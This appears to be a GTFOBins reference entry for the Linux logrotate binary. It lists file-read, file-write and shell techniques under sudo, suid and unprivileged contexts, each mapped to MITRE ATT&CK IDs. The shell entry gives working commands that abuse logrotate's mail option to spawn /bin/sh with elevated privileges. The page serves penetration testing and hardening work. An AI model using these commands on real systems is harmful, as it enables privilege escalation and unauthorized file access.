GTFO · Tool

logrotate

7 techniques LinuxGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation Linux

The first word is returned in a error message.

logrotate /path/to/input-file

Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/logrotate/

file-read

File ReadPrivilege Escalation Linux

The first word is returned in a error message.

logrotate /path/to/input-file

Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/logrotate/

file-read

File Read Linux

The first word is returned in a error message.

logrotate /path/to/input-file

Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/logrotate/

file-write

File WritePrivilege Escalation Linux

The content is written in a log file.

logrotate -l /path/to/output-file DATA

Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/logrotate/

file-write

File WritePrivilege Escalation Linux

The content is written in a log file.

logrotate -l /path/to/output-file DATA

Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/logrotate/

file-write

File Write Linux

The content is written in a log file.

logrotate -l /path/to/output-file DATA

Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/logrotate/

shell

ExecutionPrivilege Escalation Linux

This command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive.

echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config
echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh
logrotate -m /path/to/temp-file.sh -f /path/to/temp-file

Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/logrotate/